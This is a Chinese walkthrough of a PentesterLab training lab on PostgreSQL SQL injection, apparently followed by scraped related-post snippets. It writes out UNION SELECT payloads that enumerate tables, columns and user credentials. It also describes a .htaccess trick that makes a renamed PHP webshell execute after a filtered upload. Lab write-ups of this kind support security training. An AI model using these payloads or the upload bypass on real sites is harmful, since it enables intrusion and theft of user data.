from injection shell sql to_FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION
FROM SQL INJECTION TO SHELL:
POSTGRESQL EDITION
这里先介绍一下POSTGRESQL。这是一款数据库管理系统,与oracle是同类型软件。08年左右的市场占有率为8%。
上图为ITPUB社区开源数据库使用状况调查
探测SQL注入
本关可以说是FROM SQL INJECTION TO SHELL 这关的延续。建议先通过之前的关。
这关基本上和FROM SQL INJECTION TO SHELL是类似的。共同的部分就不再介绍了。
这关的错误代码发生了变化
利用SQL注入
攻击方法还是用UNION和ORDER BY两种
SELECT id,name,price FROM
articles where id=1 UNION SELECT 1
SELECT id,name,price FROM
articles where id=1 UNION SELECT1,2
SELECT id,name,price FROM
articles where id=1 UNION SELECT 1,2,3
这里三种情况都有报错,但第三种情况报的错会不同。报错提示是数据类型不匹配。
再试试ORDER BY。这里很容易试出字段数量。超出查询字段数量,提示如下
检索信息
从上一步的UNION我们看到提示是数据类型不匹配,把数字改变成null试下。
1 UNION SELECT
‘aaaa‘,null,null,null
结果没有报错
我们再尝试下面几种情况
1 UNION SELECT ‘aaaa‘,null,null,null
1 UNION SELECT null,‘aaaa‘,null,null
1 union select
null,null,‘aaaa‘,null
1 union select
null,null,null,‘aaaa‘
发现第2和3
个没有报错,第1,4报数据类型不匹配。如果查看网页的HTML,会发现‘aaaa‘存在于
我们采用第2个进行构建语句,查询version(),current_user,current_database()
我注意到这里的函数与上一关的略有点不同,上一关的是version(),current_user(),current_database()
这是因为上一关的数据库是MYSQL。
接下来,我们尝试获取当前数据库的表名和字段。方法和MYSQL的类似。POSTGRESQL也有一个meta-information数据库,我们可以构建语句查询
查询表名:SELECT tablename FROM pg_tables
查询所有字段:
SELECT column_name FROM
information_schema.columns
结合到实例中:
1 UNION SELECT
null,tablename,null,null FROM pg_tables
1 UNION SELECT
null,column_name,null,null FROM information_schema.columns
同时取得字段和对应的表名
1 UNION SELECT null,
table_name, column_name,null,null FROM information_schema.columns
1 UNION SELECT
null,table_name||‘:‘|| column_name,null,null FROM information_schema.columns.
上一关是用contact函数,而这个数据库不能用。
从结果中找到用户表USERS和它的字段
查出密码再解密还原。
登陆账号,注入文件
这里开始是本关的难点。
上一关用.php3就混过关, 这次又被过滤了。经尝试,只要带php的,统统被过滤。
这次要引入 .htaccess文件
这个文件很多妙用,它与windows的autorun.inf有点类似。请查看百度百科
htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法,
即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,
以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
.htaccess文件的内容如下,意思是增加一种php模块执行的后缀。blah后缀不太可能被过滤掉。
特别注意下".htaccess"不是后缀,在windows图形界面下是难重命名成这个名字,需要DOS下改。
再把shell.php3更名为shell.blah,上传这两个到服务器。神奇的事就发生了。
原文:http://www.cnblogs.com/pentesterlab-beginner/p/3644398.html
from injection shell sql to_FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION相关推荐
- Oracle Caused by: java.sql.SQLException: sql injection violation, syntax error: syntax error, expect
参考:https://blog.csdn.net/qq_36326332/article/details/102938147 https://blog.csdn.net/fly_captain/art ...
- java todo error_java.sql.SQLException: sql injection violation, syntax error: TODO UNIQUE unique
@wenshao 你好,想跟你请教个问题: 我是在用activiti工作流的时候 初始化生成流程表产生了下面的问题 工作流引擎代码: ProcessEngineConfiguration confi ...
- 使用Mybatis时由于粗心遇到Cause: java.sql.SQLException: sql injection violation异常
使用Mybatis插入数据时,由于粗心书写错误导致出现Cause: java.sql.SQLException: sql injection violation异常,SQL语句如下: <inse ...
- 解决 Error querying database. Cause: java.sql.SQLException: sql injection violation....
解决 Error querying database. Cause: java.sql.SQLException: sql injection violation- 最近在开发的时候老板的需求就是将模 ...
- SQL注入(Injection)简介
SQL注入(Injection)简介 SQL注入(SQL injection),是发生于应用程序与数据库层的安全漏洞.只要是支持处理SQL指令的数据库服务器,都有可能受到此种手法的攻击. SQL注入产 ...
- SQL语句利用日志写shell
outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global genera ...
- 基于sparksql调用shell脚本运行SQL
[Author]: kwu 基于sparksql调用shell脚本运行SQL,sparksql提供了类似hive中的 -e , -f ,-i的选项 1.定时调用脚本 #!/bin/sh # uplo ...
- oracle 批量 重建索引,Oracle重建索引Shell脚本、SQL脚本分享
索引是提高数据库查询性能的有力武器.没有索引,就好比图书馆没有图书标签一样,找一本书自己想要的书比登天还难.然而索引在使用的过程中,尤其是在批量的DML的情形下会产生相应的碎片,以及B树高度会发生相应 ...
- beeline执行sql文件_【SparkSQL】介绍、与Hive整合、Spark的th/beeline/jdbc/thriftserve2、shell方式使用SQL...
目录 一.Spark SQL介绍 SQL on Hadoop框架: 1)Spark SQL 2)Hive 3)Impala 4)Phoenix Spark SQL是用来处理离线数据的,他的编程模型是D ...
最新文章
- 区块链从一夜暴富到一夜暴“负”的辛酸史
- 如何撰写将赢得客户青睐的自由职业者提案和免费模板
- mac 安装Android sdk以便开展appium android自动化测试
- 只需3步,即可将你的Chromium Edge 浏览器设置成中文
- ASSERT(0) 详解
- 一个完整的软件项目开发流程,软件过程,软件生命周期
- vb杨辉三角代码编写_如何用VB编程输出杨辉三角?
- Tensorflow多输入模型构建以及Dataset数据构建
- 「查漏补缺」2020 截止9月2日 秋招前端面试经历 (已整理答案)
- 记参加Microsoft Ignite 大会和北京CSDN创作者之夜
- 玩转树莓派二、树莓派配置工具 raspi-config 使用指南
- CMD常用命令大全(old)
- Go语言slice详解
- 嫉妒(译本)--- 作者:弗兰西斯•培根
- 怎样使用更新域计算机,如何使用Word快捷键来输入当前时间和更新时间域?
- vue屏幕长宽自适应
- 一些RGB色差度量公式
- 泰山OFFICE技术讲座:字符宽度、中文标宽、字符间距
- 4.2.11 Flink-流处理框架-Table API 与 SQL-函数(Functions)之用户自定义函数 UDF
- 支持向量机分类示例python_分类算法-支持向量机 SVM